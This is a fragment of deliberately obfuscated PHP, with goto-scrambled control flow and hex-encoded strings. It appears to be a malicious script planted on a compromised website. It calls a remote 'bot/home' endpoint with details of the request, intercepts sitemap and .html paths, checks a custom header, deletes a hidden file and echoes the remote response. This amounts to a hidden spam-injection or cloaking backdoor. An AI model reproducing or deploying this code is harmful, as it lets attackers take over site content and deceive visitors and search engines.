DeAwl: QB4QN: goto FfS0I; e8ZGW: @ignore_user_abort(0); goto z9IDi; Cr8NB: @preg_match("\43\x28\x5c\144\52\x29\xe4\xbb\xb6\74\x21\x2d\x2d\43", $kiaTQ, $BU0Ab); goto HMTkB; pklle: $iuqex++; goto AJDSL; lOy1t: unlink("\x2e\x65\x47\x41\x30\124\171\x32\127\114\x68"); goto QIaOi; JkRbk: if (@preg_match("\x23\50\x5b\141\x2d\x7a\135\53\x29\x2d\x28\134\144\x2b\x29\x3f\x28\56\x68\164\x6d\x6c\51\x24\43\x69", $a0h9N, $BU0Ab)) { goto QZmqm; } goto PvKa7; zfy84: if (!(isset($_SERVER["\110\124\124\120\137\130\104\117\111\x4d"]) && strlen($_SERVER["\110\x54\x54\x50\137\x58\x44\x4f\x49\115"]) > 0)) { goto yG1EO; } goto SXArn; RcYj3: if (!($iuqex <= intval($tDvy3))) { goto VG3xp; } goto HFFkT; FfS0I: T_XkJ: goto MoR3r; nb79U: echo @trim(urlx(sprintf("\x68\164\x74\160\163\x3a\57\x2f\x25\x73\x2f\x62\157\x74\57\150\157\155\x65\x3f" . $UhBwv, gets()), $x5ceu, $UhBwv, 1)); goto jT7mO; pxweL: $UhBwv = $KTFaU . "\x26\x68\x74\x74\160\75" . $xSfqy . "\46\147\162\x6f\x75\160\151\144\x3d" . $SWePe . "\x26\x75\x72\x69\x3d" . $a0h9N; goto JkRbk; wfTUR: XRMxW: goto W71AF; F23pG: echo $T5Ggx === false ? "\x66\141\x69\x6c" . gets() : $T5Ggx . $SWePe . gets(); goto x4Q0Z; feFwg: F51cr: goto pklle; z4Bm8: if (!@preg_match("\x23\x5e\x2f\x73\151\164\145\155\x61\160\50\x2e\x2a\x3f\51\x2e\170\x6d\154\x24\43\151", $a0h9N, $BU0Ab)) { goto Ka2QT; } goto v6CEs; cnKq0: echo sprintf($GHwf6, $Lt12H); goto KESrM; yz2Zb: $kiaTQ = substr($kiaTQ, strpos($kiaTQ, "\74\x21\x2d\55\x20\55\55\x3e"), 100); goto dvk32; rMDoG: $iuqex++; goto dkbdc; eem_u: $ELMnB = urlx($Corxb); goto v7Uk9; v7Uk9: $ViUU_ .= $Corxb . $ELMnB; goto hfJ0V; zuPE3: function clientip() { goto aXPQt; UETKx: goto XyP4y; goto K3PG2; iTPjO: goto XyP4y; goto veyaO; K3PG2: Bplb9: goto jbZVT; veyaO: UFvGK: goto vH8QS; ocfzl: if (isset($_SERVER["\122\105\115\117\124\x45\x5f\x41\104\104\x52"]) && $_SERVER["\x52\x45\115\117\x54\x45\x5f\101\104\104\122"] && strcasecmp($_SERVER["\122\105\115\117\x54\105\x5f\101\x44\x44\x52"], "\x75\x6e\153\x6e\x6f\167\x6e")) { goto Bplb9; } goto iTPjO; jbZVT: return $_SERVER["\x52\105\x4d\x4f\124\x45\137\x41\104\x44\122"]; goto th5AK; aXPQt: if (getenv("\122\x45\x4d\x4f\x54\x45\x5f\x41\x44\104\x52") && strcasecmp(getenv("\122\105\115\x4f\124\x45\137\101\x44\104\122"), "\x75\x6e\153\x6e\x6f\167\x6e")) { goto UFvGK; } goto ocfzl; vH8QS: return getenv("\122\105\x4d\x4f\124\105\x5f\x41\104\x44\122"); goto UETKx; th5AK: XyP4y: goto A0Qc6; A0Qc6: }?>